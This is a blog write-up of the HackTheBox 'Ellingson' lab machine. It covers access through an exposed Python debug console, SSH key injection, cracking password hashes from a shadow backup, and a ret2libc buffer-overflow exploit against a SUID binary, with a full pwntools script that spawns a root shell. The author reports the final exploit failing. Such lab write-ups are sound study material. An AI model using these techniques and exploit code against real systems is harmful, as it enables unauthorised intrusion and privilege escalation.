Ti Kallisti


HackTheBox "Ellingson" Write-Up

Fans of Hacker Culture or those being part of it might smile at the title. The Box's name, of course, is a reference to the cult classic "Hackers" (I do recommend you watch it if you haven't already).

It was a really fun challenge, though a bit tricky for me personally, as even at the time of writing this, I still have close to no clue about how binary exploitation works - but more about that later.

As with all CTFs (and most real-life engagements at that), the first step is reconnaisance. As in a CTF we usually don't have to be stealthy, we can just go in raw with a normal nmap scan to get a list of open ports.

$ nmap -p- [IP] Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-01 10:07 CET Nmap scan report for [IP] Host is up (0.11s latency). Not shown: 65533 filtered ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http

SSH and HTTP, nothing special. So let's take a look at the HTTP frontend.

A screenshot showing the frontpage of the website of a corporation called Ellingson Mineral Company

Clicking on "Details" opens another page. But the content is not the interesting part, it's the URL: http://[IP]/articles/1

With some deduction skills, we can assume that the "1" works as a parameter defining the article to show. An a parameter we have control over is always a good thing. So let's fuzz. What, for example, happens if we enter a very large integer, like "999999"?

A browser window showing an error message with a stack trace in Python

An error message. Usually, this is a good sign. We can force behavior that the creator of the site wouldn't want to happen. But, the icing of the cake is yet to come:

A browser window showing an icon with the tooltip saying Open an interactive python shell in this frame

If we hover our mouse over the rightmost side of one of the error messages, we get a button that says "Open an interactive python shell in this frame". And if we click on it, that is exactly what happens. We already got a low-privilege shell. Now we could go straight for the user flag, but as great as having an interactive python shell is, it's not the most convenient way of accessing a system. So let's try executing the following:

A python console executing commands that list the contents of the .ssh directory on the webserver

subprocess is a python module that allows us to execute system commands. check_output() takes an array of a command with parameters and returns the output. We can see that the shell is running in the context of user "hal" and that we have a writable authorized_keys file in hal's .ssh directory. With that, we can inject our own RSA public key. In order to do that, let's first create a new one:

$ ssh-keygen -t rsa Generating public/private rsa key pair. Enter file in which to save the key (~/.ssh/id_rsa): ./id_rsa Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in ./id_rsa. Your public key has been saved in ./id_rsa.pub.

Then, we can use sed's append function to add our own RSA public key to the authorized keys on the box:

A python console executing a command to insert a public key into the authorized_keys file

Having done that, we can now use our RSA private key to open an SSH session as hal:

$ ssh hal@[IP] -i id_rsa hal@ellingson:~$

A lot more comfortable than an interactive python shell, isn't it? Of course, there are several ways to make use of the initial python shell, like uploading and executing a meterpreter payload, or use netcat to open a reverse shell. But for, this approach is the most convenient, if it is possible (Be careful, though: Persistent changes like modifying a file are probably something you would want to avoid in a real life engagement).

After some further reconnaissance, we find that hal is part of the group "adm":

hal@ellingson:~$ id uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)

Using that information, we can look for interesting files belonging to that group:

hal@ellingson:~$ find / -group adm 2>/dev/null /var/backups/shadow.bak /var/spool/rsyslog /var/log/auth.log [...]

The command looks at the root directory and all subdirectories, searching for any files or directories belonging to the group adm. The last part, 2>/dev/null, redirects all error messages to the void known as the null device. Without that, we would get a lot of error messages telling us we don't have access to a certain directory.

The most interesting find here is the first, a backup of the shadow file, which contains hashes of user passwords:

hal@ellingson:~$ cat /var/backups/shadow.bak root:*:17737:0:99999:7::: daemon:*:17737:0:99999:7::: [...] theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7::: hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7::: margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7::: duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::

We have passwords for 4 users: theplague, hal, margo and duke. Let's copy their hashes to a file on a local filesystem and remove a bit of unnecessary info so that the content of the file looks like this:

$ cat hashes theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/ hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30 margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1 duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/

Let's get cracking. To crack a password in a relatively reasonable time, it is preferable to use a wordlist rather than brute force. A good, comprehensive wordlist is for example rockyou. We can use the whole wordlist or speed up the cracking process by using our advanced hacker culture knowledge™ and only use passwords containing <a href="https://www.youtube.com/watch?v=0Jx8Eay5fWQ"the four most-used passwords. In order to do this, we filter the wordlist as follows:

$ cat rockyou.txt | grep -i -e "god" -e "sex" -e "love" -e "secret" > 1337_wordlist.txt

With the grep command, the -e parameters are or-connected, so if either of the words is contained in a password, we add it to the new list. -i means "ignore case", so for example "god", "GOD", and "gOd" will all be included.

Before anyone complains that there was no possible way anyone could have guessed that without watching the movie, the box tells us so itself:

The Ellingson Mining Company website showing a quote from The Plague, detailing that the four most commonly used passwords are Love, Secret, Sex and God

But if you haven't watched it yet, do it. Seriously it's worth it. The hacking scenes are ridiculous but the culture presentation is as accurate as it gets from Hollywood (with the one exception of Mr. Robot, of course).

Having prepared our wordlist, we can now attempt to crack the passwords. I personally use the magnum version of John The Ripper, but alternatives like hashcat work, too.

$ john --encoding=utf-8 --wordlist=1337_wordlist.txt hashes Loaded 4 password hashes with 4 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x]) Cost 1 (iteration count) is 5000 for all loaded hashes Press 'q' or Ctrl-C to abort, almost any other key for status iamgod$08 (margo)

And there we have our password. We can put it to use right away:

$ ssh margo@[IP] margo@ellingson:~$ ls -l total 4 -r-------- 1 margo margo 33 Mar 10 2019 user.txt margo@ellingson:~$ cat user.txt

And there we have our user flag!

Now, the next step is the standard privilege escalation reconnaissance. One step here is to look for SUID files.

margo@ellingson:~$ find / -perm -4000 2>/dev/null /usr/bin/at /usr/bin/newgrp /usr/bin/pkexec /usr/bin/passwd /usr/bin/gpasswd /usr/bin/garbage [...]

The only file out of the ordinary here is /usr/bin/garbage. Also, with our movie trivia knowledge, we know that in Hackers, Ellingson Corp. was hacked with a (very "sophisticated") virus hidden in a garbage file.

Disclaimer: This is the part where the Writeup starts to get sloppy. That's because binary exploitation is still unexplored territory for me. Even though I do not fully understand yet why exactly my approach worked, but I somehow managed to get the root flag with the help of IppSec's bitterman video. I am going to try my best to describe what I do and why. So, here we go:

margo@ellingson:~$ cd /usr/bin margo@ellingson:/usr/bin$ ./garbage Enter access password: aaa access denied.

We won't get far here. So, for easier analysis, let's get the file to our local machine and make it executable:

$ scp margo@[IP]:/usr/bin/garbage . $ chmod +x garbage

With binary exploitation, looking for a buffer overflow is always a good first step.

For debugging binaries, there are several good tools, I personally prefer gdb with peda, though.

gdb ./garbage gdb-peda$ disass main Dump of assembler code for function main: 0x0000000000401619 : push rbp 0x000000000040161a : mov rbp,rsp 0x000000000040161d : sub rsp,0x10 0x0000000000401621 : mov eax,0x0 0x0000000000401626 : call 0x401459 0x000000000040162b : mov DWORD PTR [rbp-0x4],eax 0x000000000040162e : mov eax,DWORD PTR [rbp-0x4] 0x0000000000401631 : mov edi,eax 0x0000000000401633 : call 0x4014d4 [...]

disass main is short for "disassemble main" and does exactly that. With that command, we get the Assembly code for the main() function of the program. I have my peda set to show intel assembly rather than AT&T assembly (some notes on the differences between the two can b found here). Most interesting for us are the lines marked as and . Even without intricate knowledge we can decipher that two functions are called: check_user() and set_username(). Indeed, all this does is set the context of the program to that of the current user, negating the privilege escalation possibilities of the SUID bit. But we can work around that later. For now, let's find a buffer overflow. Potential candidates are all options for user-supplied input, so we start with the first: The password prompt. I will first list all the commands needed to find the buffer overflow, and afterwards explain them in details.

  1. gdb-peda$ pattern create 500 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A'
  2. gdb-peda$ r < <(echo 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A')
  3. Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000000000401618 in auth ()
  4. gdb-peda$ x/xg $rsp 0x7ffedd868ef8: 0x41416d4141514141
  5. gdb-peda$ pattern offset 0x41416d4141514141 4702159612987654465 found at offset: 136

In 1), we create a pattern of 500 random characters. In 2), we start the "garbage" program with these random characters as input. It will be read at the first input option, namely the password prompt. The output in 3) tells us that we have created a segmentation fault. In other words: We have our buffer overflow. Nicely enough, gdb pauses the program and lets us examine the state at the moment of the fault. In 4), we look at the top of the stack. In detail, we examine (x/) one hex giant word (xg) at the point in memory the stack pointer ($ rsp) is pointing to. We take that value and in 5) check at which offset of our random string it appears. We can see that the offset is 136. This means, that 136 characters are read as input, and everything after that is written on the stack.

We can double check with the following command:

$ python -c 'print "A"*135' | ./garbage Enter access password: access denied. $ python -c 'print "A"*136' | ./garbage Enter access password: access denied. [1] 23747 done python -c 'print "A"*136' | 23748 segmentation fault ./garbage

What we do here, is make python print 135 - or, respectively, 136 - "A" characters, and feed them into the garbage program. The characters are passed as a response to the password prompt. We can see that 135 characters are not enough to cause a segmentation fault, but 136 characters are.

In order to craft a working payload, we first need to have our pop rdi gadget. For this, we can use a tool called ROPgadget:

$ ROPgadget --binary garbage | grep rdi 0x00000000004011c6 : or dword ptr [rdi + 0x4040d0], edi ; jmp rax 0x000000000040179b : pop rdi ; ret

The second result is what we want. Then we need a way to get output to stdout, usually with "puts". We can achieve this using objdump:

$ objdump -D garbage | grep puts 0000000000401050 : 401050: ff 25 d2 2f 00 00 jmpq *0x2fd2(%rip) # 404028

Then we want to find the address of the main function:

$ objdump -D garbage | grep main 401194: ff 15 56 2e 00 00 callq *0x2e56(%rip) # 403ff0 0000000000401619 :

Now, we put it all together and feed it to garbage:

$python -c 'print "A"*136 + "\x9b\x17\x40\x00\x00\x00\x00\x00" + "\x28\x40\x40\x00\x00\x00\x00\00" + "\x50\x10\x40\x00\x00\x00\x00\x00"' | ./garbage Enter access password: access denied. access denied. ssword: @�il�~ [2] 17953 done python -c | 17954 segmentation fault ./garbage

Let's step by step analyze what's happening here. First, just as before, we make python print out 136 "A" characters to overflow the buffer. Then we add the pop rdi gadget to, the puts address in the global libc and the puts address in the garbage program. We have to add 5 "\x00" bytes to each of them because this is a 64-bit system and in a 64-bit system registers have a size of 64bits, or 8 bytes, or 16 hex numbers. We also have to reverse the byte order, because we're working on a little endian system. pop rdi puts the libc puts address into the "rdi" register, and then the program returns to puts, which is then executed with the parameter located in the "rdi" register. Just before we get to the segmentation fault, we get some weird-looking output. This is the absolute address of the puts function in libc. You see, the addresses we've been using so far have been the relative addresses of the things we use. But in order to make a system call, we need the absolute address of it. In most modern system, the stack is randomized with each program call, so this new address is only valid for the duration of the program runtime. Because - for now - we can write to the stack only once, we have to do some work.

First, we add the address of main to the call:

$ python -c 'print "A"*136 + "\x9b\x17\x40\x00\x00\x00\x00\x00" + "\x28\x40\x40\x00\x00\x00\x00\00" + "\x50\x10\x40\x00\x00\x00\x00\x00" + "\x19\x16\x40\x00\x00\x00\x00\x00"' | ./garbage Enter access password: access denied. @p3e� Enter access password: access denied.

This way, we don't get a segmentation fault anymore. This is because after the puts call, the program now returns to the beginning of the main function and runs anew - there is even a second password check. As the buffer is still overflowed we don't get another chance at giving input manually, but that's not too big a problem.

To continue, we first get the libc from the box (as our local one might be different).

margo@ellingson:~$ find / -name "libc.so.6" 2>/dev/null /lib/x86_64-linux-gnu/libc.so.6 [...]

$ scp margo@[IP]:/lib/x86_64-linux-gnu/libc.so.6 libc_remote margo@[IP]'s password:

Now we get the puts address from that libc file:

$ objdump -D libc_remote | grep puts 7e9c7: e8 f4 21 00 00 callq 80bc0 000000000007f1f0 : [...] 00000000000809c0 : [...]

If we now extract the absolute puts address as before and substract the libc puts address, the result will be the absolute starting address of libc, from where we can then easily call functions contained in libc, like system:

$ objdump -D libc_remote | grep system 000000000004f440 : 4f443: 74 0b je 4f450 0000000000159e20 : 159e77: 75 05 jne 159e7e

What we are doing here, is traditionally known as a ret2libc.

As we found out earlier, a set_username() function mitigates the SUID capabilities for privilege escalation. But, we have control over the program flow - we can just set the context back to root. So to do that, we will also need the address of the libc setuid function:

$ objdump -D libc_remote | grep setuid 00000000000e5970 : e598c: 75 2a jne e59b8 e599b: 77 4b ja e59e8 e59ab: 75 4e jne e59fb e59df: eb bc jmp e599d e59f9: eb a2 jmp e599d

Now it's time to take a step back and think about what we are actually trying to achieve here. We want to somehow execute code on the box, with root privileges if we can. We already have our system call, so we can use that. But much better than a single call would be an actual shell, no? So let's try do that. We need to pass a pointer to a string as an argument to system(). And wouldn't it be fantastic if that pointer would point at something like "/bin/sh"? For this, we can use string:

$ strings -t x libc_remote | grep bin/sh 1b3e9a /bin/sh

As we already need libc for our system() call, we can also just use the "/bin/sh" included in it. The next step would be to put it all together. But as we get the puts address and with that the lib offset only at runtime, we can't do it manually. We need a script that passes the input we want, reads the puts address and then uses it correctly to make the system call afterwards. It would be really complicated to implement this from scratch, but luckily there is a tool for this called pwntools.

This is the finished python script for locally exploiting the garbage file:

from pwn import * import time # Tell pwntools which executable to work with p = process("./garbage") # Tell pwntools what system architecture we're on context(os="linux", arch="amd64") # Our payload so far payload = "A" * 136 + "\x9b\x17\x40\x00\x00\x00\x00\x00" + "\x28\x40\x40\x00\x00\x00\x00\00" + "\x50\x10\x40\x00\x00\x00\x00\x00" + "\x19\x16\x40\x00\x00\x00\x00\x00" # Due to the nature of the program, the prompt is not registered as output until after input # So, as a workaround, we just wait a second and just send the input #p.recvuntil("password: ") time.sleep(1) p.sendline(payload) p.recvuntil("denied.") # As we saw before, right after the "denied" message we get the puts address # We add some "\x00" padding to have full 8 bytes leaked_puts = p.recv()[:8].strip().ljust(8, b"\x00") log.success("Leaked puts at glibc: " + str(leaked_puts)) leaked_puts = u64(leaked_puts) # Calculate the absolute address of libc offset = leaked_puts - 0x0809c0 # ROPgadget --binary libc_remote | grep "pop rdi" # We're operating within libc anyway, so why not use its pop rdi now? pop_rdi = p64(offset + 0x02155f) # Absolute address of the setuid call # Note p64() is a function from pwntools that turns a hex number into an 8-byte string, "\x00" padding and everything setuid = p64(offset + 0x0e5970) # The parameter for the setuid() call (UID 0=root) zero = p64(0x00) # Absolute address of the system call system = p64(offset + 0x04f440) # Absolute address of the "/bin/sh" string shell = p64(offset + 0x1b3e9a) junk = bytes("A" * 136, 'utf-8') # The payload to get a shell payload = junk + pop_rdi + zero + setuid + pop_rdi + shell + system p.sendline(payload) # Go to interactive mode, as we now have our shell p.interactive()

To run it against the target, just replace the following line:

p = process("./garbage")

with these:

shell = ssh('margo', '[IP]', password='iamgod$08') p = shell.process('garbage')

This will log into the box via SSH and execute "garbage". As on the box that executable is in /usr/bin, which in turn is contained in the PATH variable, we can just call it without "./".

And when we execute our exploit now, we will get an SSH session as UID root, and we will be able to retrieve the root flag.

Unfortunately, I couldn't get this to work, even though I am certain it's correct. The problem is that the input is read via gets(), and somehow, when we get to it the second time, some leftovers seem to be remaining in stdin and the call gets "skipped", not allowing us to inject our payload to get a shell.

I will try to fix this in the future, but for now, there's nothing I can do - so I'll leave it as is. Maybe even you, dear reader, can help me solve this problem.